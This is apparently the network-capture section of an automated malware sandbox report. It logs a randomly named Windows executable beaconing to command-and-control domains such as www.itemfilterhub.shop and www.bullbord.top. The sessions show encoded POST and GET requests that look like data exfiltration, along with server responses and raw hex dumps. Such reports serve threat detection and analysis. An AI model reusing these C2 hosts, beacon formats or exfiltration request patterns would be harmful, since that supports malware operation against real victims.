4b 2f 47 63 53 70 36 4e 72 64 66 5a 73 4f 31 2b 4a 67 65 6a 2f 6f 72 4f 62 32 57 44 32 2f 55 31 7a 30 56 6a 64 53 51 4e 63 32 45 78 75 38 39 46 75 2f 62 59 48 65 53 58 36 78 4b 64 77 41 3d 3d Data Ascii: ij60MtY=aUfPfTh9K6lI4yXcCC6CFjl3yB+bL1qfMlYnJr7kl1MGvZo/Kz3bNsmk6lC3p/LtATiFs8MksKzXrwgVXaHP42EXNZmH4N/z1SUpRAuNeijugl7BXkydYWsJrFFzddT0BYzfK/GcSp6NrdfZsO1+Jgej/orOb2WD2/U1z0VjdSQNc2Exu89Fu/bYHeSX6xKdwA==
Aug 27, 2024 07:59:28.482920885 CEST	746	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 05:59:28 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FqcH3EsNJ%2FvQrU2gP3cU0QokFncPJLtZuuOchMPmwPJyzDJU%2B3Jqub4uItKEVaHJe8V62bIJhKuLB6Yo4PNF4ZceW0iQsTFFPFPtog%2B3cZ6E2YkGK5qIUd51Uie3TF2P2OC5yuHcdUsj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99d5f1bec2884b-IAD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c 8e 41 0a c3 30 10 03 ef 7e 45 c8 03 b2 31 69 6f ea 1e fb 8f 3a 5e b2 06 c7 06 b3 d0 f6 f7 25 69 02 a5 27 81 34 42 82 da 9a d9 41 e5 11 19 96 2c 0b 5f c6 a9 bb d7 16 52 8c 52 40 5f 13 b4 23 0e a1 c6 77 17 96 b9 e6 da 6e fd 53 93 49 cf 0e b3 14 93 c6 50 ff df 57 cf a0 23 76 d0 c6 27 5b 96 54 5e e4 07 7f 1d c6 1f 82 b6 85 4d f7 6b 1f 00 00 00 ff ff 03 00 96 12 38 3e a1 00 00 00 0d 0a Data Ascii: 89\A0~E1io:^%i'4BA,_RR@_#wnSIPW#v'[T^Mk8>
Aug 27, 2024 07:59:28.482933998 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49859	172.67.166.145	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:30.858716965 CEST	1172	OUT	POST /p1v4/ HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.itemfilterhub.shop Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.itemfilterhub.shop/p1v4/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 61 55 66 50 66 54 68 39 4b 36 6c 49 34 53 48 63 41 6a 36 43 48 44 6c 30 2b 68 2b 62 42 56 71 62 4d 6c 45 6e 4a 75 58 30 6c 44 63 47 73 38 4d 2f 4a 79 33 62 45 38 6d 6b 78 46 43 79 30 76 4c 69 41 54 75 33 73 39 77 6b 73 4a 50 58 74 43 34 56 41 36 48 4d 7a 57 45 55 45 35 6d 4b 38 4e 2f 70 31 53 59 66 52 45 79 4e 65 54 50 75 6a 6e 54 42 54 32 4b 65 56 57 73 4c 2b 56 46 77 50 64 53 31 42 66 37 58 4b 36 44 70 53 66 4b 4e 72 2b 58 5a 69 75 31 39 51 41 65 67 7a 49 71 4b 57 58 58 7a 7a 39 67 45 33 6e 74 77 54 42 55 58 66 57 67 49 76 50 4e 66 78 4d 36 6d 4e 65 37 68 36 41 47 5a 67 55 51 52 76 53 5a 70 4e 33 52 42 46 36 51 4d 68 4e 31 76 77 35 57 54 53 49 74 77 39 51 75 52 4b 5a 69 67 6c 5a 6c 41 69 47 4c 61 42 33 52 39 53 2b 73 6f 56 53 34 32 67 41 7a 39 78 54 65 6d 45 76 42 6c 71 36 33 79 44 31 59 5a 6c 48 4d 6c 7a 46 75 73 78 68 47 73 34 6e 35 4c 70 7a 6a 64 36 51 52 76 6f 6b 6b 5a 64 2b 41 64 35 6c 39 57 56 7a 39 41 4c 45 67 2b 76 4d 6a 77 7a 39 64 38 75 41 77 4d 64 4c 72 4d 68 41 [TRUNCATED] Data Ascii: ij60MtY=aUfPfTh9K6lI4SHcAj6CHDl0+h+bBVqbMlEnJuX0lDcGs8M/Jy3bE8mkxFCy0vLiATu3s9wksJPXtC4VA6HMzWEUE5mK8N/p1SYfREyNeTPujnTBT2KeVWsL+VFwPdS1Bf7XK6DpSfKNr+XZiu19QAegzIqKWXXzz9gE3ntwTBUXfWgIvPNfxM6mNe7h6AGZgUQRvSZpN3RBF6QMhN1vw5WTSItw9QuRKZiglZlAiGLaB3R9S+soVS42gAz9xTemEvBlq63yD1YZlHMlzFusxhGs4n5Lpzjd6QRvokkZd+Ad5l9WVz9ALEg+vMjwz9d8uAwMdLrMhAII04ZNH+jpTqTN+Xgf+Miso3I3haq7D585zczZ0cppJwlAhIPEel7Y2E4zTaDHaw7HAvL7tsBiScry4EBwQ6EhBWOftE8cZktyKVD4w2xp7/mnwCunmr8mzx2EXj2o/0U7pYyU9rmzKRxu/1lLT2PqoIWtjjMvI3U0wBf4RV4gVjeL+obxvQ9OIuiT/q8Cdnsw0B/zsrFjQ2A=
Aug 27, 2024 07:59:31.128812075 CEST	744	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 05:59:31 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kcd1Ew68jj6NNftWAh5NTr2Fdkr12H40vqxgVzDcd6TSt35EqTcKsznW2861yDMjIG%2Bhr2jrzqBN5X%2BCjD6ElEuHu8MXPCXeFtRprp3YRwm%2FjclUHyLikx9x2XLTIrPCWFND7t5N1IjU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99d6023b642d1b-IAD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c 8e 41 0a c3 30 10 03 ef 7e 45 c8 03 b2 31 69 6f ea 1e fb 8f 3a 5e b2 06 c7 06 b3 d0 f6 f7 25 69 02 a5 27 81 34 42 82 da 9a d9 41 e5 11 19 96 2c 0b 5f c6 a9 bb d7 16 52 8c 52 40 5f 13 b4 23 0e a1 c6 77 17 96 b9 e6 da 6e fd 53 93 49 cf 0e b3 14 93 c6 50 ff df 57 cf a0 23 76 d0 c6 27 5b 96 54 5e e4 07 7f 1d c6 1f 82 b6 85 4d f7 6b 1f 00 00 00 ff ff 03 00 96 12 38 3e a1 00 00 00 0d 0a Data Ascii: 89\A0~E1io:^%i'4BA,_RR@_#wnSIPW#v'[T^Mk8>
Aug 27, 2024 07:59:31.128827095 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49860	172.67.166.145	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:33.499574900 CEST	2578	OUT	POST /p1v4/ HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.itemfilterhub.shop Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.itemfilterhub.shop/p1v4/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 61 55 66 50 66 54 68 39 4b 36 6c 49 34 53 48 63 41 6a 36 43 48 44 6c 30 2b 68 2b 62 42 56 71 62 4d 6c 45 6e 4a 75 58 30 6c 44 55 47 73 4b 41 2f 4c 52 66 62 65 38 6d 6b 2b 56 43 7a 30 76 4c 37 41 51 65 7a 73 39 38 65 73 50 4c 58 71 52 77 56 41 6f 76 4d 32 57 45 56 42 35 6d 49 34 4e 2f 39 31 53 55 4c 52 46 44 34 65 69 72 75 67 6b 4c 42 58 42 65 64 4e 57 73 4a 2b 56 46 38 46 39 53 48 42 65 71 49 4b 36 48 70 53 5a 53 4e 71 49 54 5a 68 39 64 39 45 41 65 6e 35 6f 71 2f 63 33 58 47 7a 39 30 71 33 6e 74 4b 54 41 51 58 66 52 73 49 75 4f 4e 41 78 73 36 6d 43 4f 37 2b 77 67 4b 56 67 58 6b 5a 76 53 46 70 4e 33 4a 42 45 61 51 4d 33 2f 64 75 33 5a 57 56 51 34 73 77 35 51 71 5a 4b 5a 48 52 6c 62 70 41 69 32 76 61 54 77 4e 39 42 71 34 6f 4c 69 35 51 6b 41 7a 49 2f 7a 65 45 45 76 52 44 71 36 58 49 44 79 59 5a 6c 6d 73 6c 35 45 75 76 32 42 47 75 33 48 34 52 34 6a 76 42 36 51 42 46 6f 6b 6c 65 64 37 77 64 35 56 74 57 55 78 56 48 4d 55 67 6b 37 38 6a 2b 36 64 68 69 75 45 6f 45 64 4b 69 4a 68 48 [TRUNCATED] Data Ascii: ij60MtY=aUfPfTh9K6lI4SHcAj6CHDl0+h+bBVqbMlEnJuX0lDUGsKA/LRfbe8mk+VCz0vL7AQezs98esPLXqRwVAovM2WEVB5mI4N/91SULRFD4eirugkLBXBedNWsJ+VF8F9SHBeqIK6HpSZSNqITZh9d9EAen5oq/c3XGz90q3ntKTAQXfRsIuONAxs6mCO7+wgKVgXkZvSFpN3JBEaQM3/du3ZWVQ4sw5QqZKZHRlbpAi2vaTwN9Bq4oLi5QkAzI/zeEEvRDq6XIDyYZlmsl5Euv2BGu3H4R4jvB6QBFokled7wd5VtWUxVHMUgk78j+6dhiuEoEdKiJhHQImIZNBZ/obaSLmXgB6Mi3o20BhYGBDJQ5hcjZicpqCwkL74PZal7Y2EEGTaPHahzHBdT7mb1iUcq34EBtQ6JdBWX+tFM6ZnByKEz433xotfmoniu877xwzxCyXjm4/k47oYiU5rmwaBxp+1kOX2L2oILVjgRiI380yFeECUQ9JAClh8TK+ixuP8uV2coeVwAfwTzJzbhzPAxBIs6O4po+LW90bxKemRiUB4clbuTM/kLOjukUixtibN8qoR0UQXs4yNEpLDyvF6d7+R6ZS1igO6yMu6iXK8lbjBzLQrYq0akcxKg5VIhyZdIR25suy8s9M2+YEdzjZsxHfjI7H2M9ra2mKrEBtH3oE5fnlBP0k1uV7D5icewCHw1+YxgxFeYFdeNZ8m08F2oAbIvve6xRV472VDyDijmHcWlGEMnImwoPg7QXsQGDXsNSA3P5w11EP9QwvgOWSO8Ehgsafqtv17VjdLLTCmlE1gciL/IKVR6Hllrmpko8C4QLYJ4bie0YiPtEyMYVaepMe4egQkZb6oCHhtc0VPkS3o+wp3eqsV2WE/XFZZ0F9gcx5ZyQHLQ7h1w1mnQ8cqwwb/LLdY+HOUmHUQbiU6lFqJ1Rm3lRkPNqY54GjwrhlP0qlRmzUfshv9Za+vCbLb/ZlMRqjUnP6lNick31MbIC [TRUNCATED]
Aug 27, 2024 07:59:33.499593973 CEST	5156	OUT	Data Raw: 57 75 57 68 31 32 45 32 35 43 49 4c 33 64 4d 37 50 74 67 78 63 78 35 63 66 30 71 39 51 70 75 2f 4e 61 59 31 37 66 65 6d 67 49 30 33 77 38 66 49 4f 52 65 57 62 33 63 30 47 59 45 72 50 42 45 6c 6e 72 5a 78 31 4a 34 4a 6f 68 50 4d 4f 49 34 73 78 71 Data Ascii: WuWh12E25CIL3dM7Ptgxcx5cf0q9Qpu/NaY17femgI03w8fIOReWb3c0GYErPBElnrZx1J4JohPMOI4sxqtHlPqBwZK7HcFp+qI8a0njjsjOE2jIVFYhHIIClQVPQWuiMbNgOh2hiCmE35svYgUwN2nHjcJR9Wg34RZ710xeCG+TW8OfvV0l6zXhwadVyvt3mEum8RQwpNyf+ftbOzwkUV2Y2zF2W1tQhtZGP5kJiLpwXE1gt+i
Aug 27, 2024 07:59:33.499641895 CEST	5156	OUT	Data Raw: 6c 56 44 31 43 68 74 51 30 79 44 54 55 2f 50 6d 54 34 42 43 59 59 7a 4c 55 61 62 63 78 4a 4c 4f 73 77 71 5a 44 46 57 2b 4a 4a 76 37 4c 70 47 46 30 42 46 6c 56 61 61 42 49 64 36 5a 59 42 2f 4e 4d 30 69 78 66 4a 6f 33 54 79 52 72 2b 6a 38 4e 44 6e Data Ascii: lVD1ChtQ0yDTU/PmT4BCYYzLUabcxJLOswqZDFW+JJv7LpGF0BFlVaaBId6ZYB/NM0ixfJo3TyRr+j8NDn/vU2JRQhxDVAPKUXsRchLt9ID7ibznfXXYxskvZs+ctmANoIkXMLrx4sj3AukEcr43VDUVzc4eGDUc6sK5v39Tgym5NdS/f+Fm7DBTcD+jmvKt4gvjyqJ72s5kCySnUUj5HgCvtdKmtVUYFmgfq+rKheKtzbZXmCr
Aug 27, 2024 07:59:33.600505114 CEST	1289	OUT	Data Raw: 4a 74 4d 2b 68 6e 77 4f 2b 6a 43 4d 6c 2f 75 34 4f 4b 2b 48 50 6b 66 7a 44 4c 42 62 74 4c 43 35 50 6e 69 46 36 47 7a 44 55 59 4e 45 50 49 34 35 6b 59 6d 33 45 65 6b 4f 6e 66 6c 65 52 67 69 69 63 6a 65 35 6a 73 34 77 48 66 4c 68 49 76 78 65 74 59 Data Ascii: JtM+hnwO+jCMl/u4OK+HPkfzDLBbtLC5PniF6GzDUYNEPI45kYm3EekOnfleRgiicje5js4wHfLhIvxetYEc9QBjiqGO44s9rAQ9fx24ERD7lbtuTE+sO+Zf5qT+DFNEBodaNih/8RN9jfYHjlL4PS4wQKlNZON9iUxn3BChjEYfTCv78Nuq77DwDrXLXcE1WhIq29d2igGwyF+clu4ldwREfGIBG8QyXzk6gfHitDd7rHUg6L7
Aug 27, 2024 07:59:33.600718975 CEST	9023	OUT	Data Raw: 65 64 6f 32 36 67 41 4d 33 72 4e 4b 52 4d 43 41 62 6d 70 49 2b 53 45 49 6f 35 62 58 47 43 5a 2f 4a 6a 58 79 62 48 79 2f 62 39 34 51 77 51 34 72 37 4b 45 72 61 62 31 41 53 43 77 52 62 6c 53 74 62 54 33 78 6e 44 33 74 52 63 76 41 6b 47 31 4f 6c 73 Data Ascii: edo26gAM3rNKRMCAbmpI+SEIo5bXGCZ/JjXybHy/b94QwQ4r7KErab1ASCwRblStbT3xnD3tRcvAkG1OlsxOAgZwZnYahIIzvT+qBHw2IGsGqpjXSkFxMs4RfGsll9QfXrPFXHc7A/0azu6VEWH+877+wEQJSlpY/xqXj9+OKLeEbFNV5PiwmkErqGisp4ewq8SUokkXghuGsvd0q7XmorZcAfzwtcVJLgdU2FvQDUdRzpAlZFm
Aug 27, 2024 07:59:33.601011992 CEST	2578	OUT	Data Raw: 66 4a 68 66 7a 46 6a 6d 71 52 36 55 6d 75 4e 67 32 6c 32 4f 72 74 54 74 55 57 73 41 5a 72 61 46 72 54 7a 36 49 44 75 50 6a 4d 36 61 76 56 31 36 64 52 43 4b 45 47 78 33 7a 6e 7a 43 41 45 38 61 78 5a 4d 75 72 30 4b 6b 69 30 76 69 30 30 55 73 44 65 Data Ascii: fJhfzFjmqR6UmuNg2l2OrtTtUWsAZraFrTz6IDuPjM6avV16dRCKEGx3znzCAE8axZMur0Kki0vi00UsDe7JNBAkP9ubVcAcF+ry8sTILb4p6NtyB6v4ErbuTGBQ7EWfAEtzuF4GUWy8rw7/YeTJp9uo3s197btPZog6sOhhAxfQ4uzaTLbmH2X4eNM2qqyxp5otz/xW5LUuLFFXVebfhv/SSpQX6p41R1XGFdB3q3k7zfBKqcS
Aug 27, 2024 07:59:33.601186991 CEST	12890	OUT	Data Raw: 75 50 54 70 35 43 63 41 6c 73 34 50 74 2f 63 41 6a 77 39 74 6a 35 64 48 35 39 69 53 70 37 6f 43 7a 6d 45 4c 52 77 64 62 4f 73 54 66 61 64 30 73 30 31 2b 4f 37 76 57 65 77 4f 4d 75 6b 54 31 33 69 4f 62 4c 67 2b 34 2b 41 7a 38 51 65 39 76 43 62 63 Data Ascii: uPTp5CcAls4Pt/cAjw9tj5dH59iSp7oCzmELRwdbOsTfad0s01+O7vWewOMukT13iObLg+4+Az8Qe9vCbchiCefYiBMGB+gM084xepihkWzzZ5JEZiliu+nfIFNrtEiNgnd8BI7ODhvF9GkRQFCbG7QxNyMMrtvXyKtcGOMOXS+ZAdrHwKFPjGGX7xri7H84g4ON62b8R/OIVzhwgAW9uO3EWuQWC2iZuopl8X/5nOfsaTVKVfi
Aug 27, 2024 07:59:33.701580048 CEST	2578	OUT	Data Raw: 78 44 78 41 6c 41 6e 2b 6f 52 46 48 72 49 48 53 65 50 66 34 37 68 46 7a 4d 35 70 59 4f 31 66 30 49 52 6e 4c 59 50 78 49 37 30 57 6f 73 7a 61 30 69 4f 62 6f 69 64 62 77 49 41 71 69 78 7a 6d 4d 36 6c 33 52 56 79 52 77 46 73 51 70 58 76 4c 4a 64 75 Data Ascii: xDxAlAn+oRFHrIHSePf47hFzM5pYO1f0IRnLYPxI70Wosza0iOboidbwIAqixzmM6l3RVyRwFsQpXvLJduO2NTlN6rKI7bK3kp6DjRHqVYMk+RZpY7iy4ycc3Xe9htuwRjenUYoCtjs7qHMKfwQFL540ksNRt31seJMbZea9HKVDSFcLNHkeVWZ1xAYruM0KRH5LuigLSkL9SxsMT7w5xdFg3qkFUWXt86O/DdO16TJ8HuYH2fW
Aug 27, 2024 07:59:33.701711893 CEST	7734	OUT	Data Raw: 4e 50 62 41 75 5a 31 76 7a 44 4f 75 59 73 6e 34 55 5a 74 75 54 34 6a 4d 58 39 36 32 6d 48 66 74 57 34 41 5a 54 54 70 46 49 35 2b 51 35 2f 58 78 65 34 50 61 35 65 36 54 62 42 57 7a 77 72 52 66 78 41 46 55 67 4e 53 52 6a 72 74 6c 51 49 4a 49 30 33 Data Ascii: NPbAuZ1vzDOuYsn4UZtuT4jMX962mHftW4AZTTpFI5+Q5/Xxe4Pa5e6TbBWzwrRfxAFUgNSRjrtlQIJI03otaLKXxqkEmPRaBV0wqsIwCEA7tQl1pW5h30mJOrqTL7P0fhba19M2YZg8ToL0wWYD9Ho/WDcq83X23NWhCCmVIJawEy6CtIa+KgMbkucn2PO/FLOl+wskMj0GVGBCtPgSt/+S7TtXOvwiAmUJa4JwmMp7jCMsYVC
Aug 27, 2024 07:59:33.701880932 CEST	4583	OUT	Data Raw: 52 35 59 55 6e 65 41 59 33 35 4d 64 58 53 59 68 79 63 48 6b 45 42 78 43 72 37 54 6a 42 2b 59 78 36 45 4d 42 30 38 4d 4d 66 59 7a 67 42 35 75 61 74 43 6b 59 41 79 46 45 74 61 46 5a 45 58 47 67 4b 79 57 79 66 5a 53 52 2b 4f 48 39 54 6f 50 52 6b 4c Data Ascii: R5YUneAY35MdXSYhycHkEBxCr7TjB+Yx6EMB08MMfYzgB5uatCkYAyFEtaFZEXGgKyWyfZSR+OH9ToPRkLvXNw2LhaK7YA155RkmXQCZ9XNw5r/0tuaRUet5Emc3XMUcWRFKu4o8atBcjyaNthul27alNGk1+s2bqQTt9fjNm7659Qclm3unJwmLy9Sf3ZmZV2kbhQY5gclR4JS9vHOlpzcaLv5xRhnXkdO8blcOxZes5OKtoz5
Aug 27, 2024 07:59:33.944830894 CEST	734	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 05:59:33 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FaoOuLDvkP42IhjTPqjAnqewpXUKwDDLKIHtZwVLbM%2Fi6GCKz7XFHGON9ZchIRDzmWppr7iFIDKdhueJk9GxrK7gW7ppxqSTfDSV140vrwa9mh7oUU0Tp2ewWHWp663lOanrkDA4%2BXZ7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99d612bdf43946-IAD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 37 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c 8e 41 0a c3 30 10 03 ef 7e 45 c8 03 b2 31 69 6f ea 1e fb 8f 3a 5e b2 06 c7 06 b3 d0 f6 f7 25 69 02 a5 27 81 34 42 82 da 9a d9 41 e5 11 19 96 2c 0b 5f c6 a9 bb d7 16 52 8c 52 40 5f 13 b4 23 0e a1 c6 77 17 96 b9 e6 da 6e fd 53 93 49 cf 0e b3 14 93 c6 50 ff df 57 cf a0 23 76 d0 c6 27 5b 96 54 5e e4 07 7f 1d c6 1f 82 b6 85 4d f7 6b 1f 00 00 00 ff ff 0d 0a Data Ascii: 7f\A0~E1io:^%i'4BA,_RR@_#wnSIPW#v'[T^Mk
Aug 27, 2024 07:59:33.944861889 CEST	15	IN	Data Raw: 61 0d 0a 03 00 96 12 38 3e a1 00 00 00 0d 0a Data Ascii: a8>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49861	172.67.166.145	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:36.135802031 CEST	552	OUT	GET /p1v4/?ij60MtY=XW3vckNGBZMqkh6dDgKTVQdtxgWhQhuqI1UaXPyLgSYWv7ViPFn3HMqwy3qnuuGBWlC3pPEFi6D5pQsjZrraxjUjA6OulNf3kQwJOyuMay6JsEDMWEmFSkY=&wXB=brv4Erb HTTP/1.1 Host: www.itemfilterhub.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 07:59:36.398654938 CEST	744	IN	HTTP/1.1 404 Date: Tue, 27 Aug 2024 05:59:36 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Qo%2B0euOpWM6nIjSM4fXDN2SOwXlwMgzitGttylGWqgsFr1AC1uvr6WvIdsohoQ2aaqsg260UM%2F6GTnpjW31vsbz6Y%2BcPn8YejWGuXSafuqab6nxYxIL4AkfPzv3uUP1bHP7l79ekIHH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99d6232bd31fe2-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 61 31 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a1<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.15.0</center></body></html>
Aug 27, 2024 07:59:36.398694992 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49862	203.161.46.205	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:41.772563934 CEST	814	OUT	POST /veti/ HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.bullbord.top Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.bullbord.top/veti/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 50 52 59 6c 53 78 55 30 42 4a 48 56 34 39 52 2b 61 42 42 78 39 7a 30 5a 45 5a 34 69 6e 58 6c 64 67 47 54 41 50 30 4a 2b 4c 73 65 44 46 43 46 42 2f 39 58 64 76 67 68 67 7a 6a 55 30 35 79 70 67 6a 6e 61 45 4a 55 43 2b 57 6b 78 4f 4e 65 76 4b 6c 77 7a 61 4e 54 70 4a 75 6a 74 57 75 64 78 63 68 76 6a 53 44 68 74 38 42 68 4b 4d 71 58 5a 6a 4e 38 62 36 6d 35 4b 61 69 55 39 7a 70 4b 6a 48 73 52 69 4e 56 74 78 48 4c 30 5a 4f 42 61 77 68 4a 6d 4a 58 70 58 4d 75 78 4b 53 73 71 67 71 76 59 70 37 6a 32 41 46 65 65 69 57 63 38 38 56 6e 6e 42 67 6e 57 75 6c 39 4a 2b 6b 4e 55 65 67 68 44 67 3d 3d Data Ascii: ij60MtY=PRYlSxU0BJHV49R+aBBx9z0ZEZ4inXldgGTAP0J+LseDFCFB/9XdvghgzjU05ypgjnaEJUC+WkxONevKlwzaNTpJujtWudxchvjSDht8BhKMqXZjN8b6m5KaiU9zpKjHsRiNVtxHL0ZOBawhJmJXpXMuxKSsqgqvYp7j2AFeeiWc88VnnBgnWul9J+kNUeghDg==
Aug 27, 2024 07:59:41.945604086 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:59:41 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg 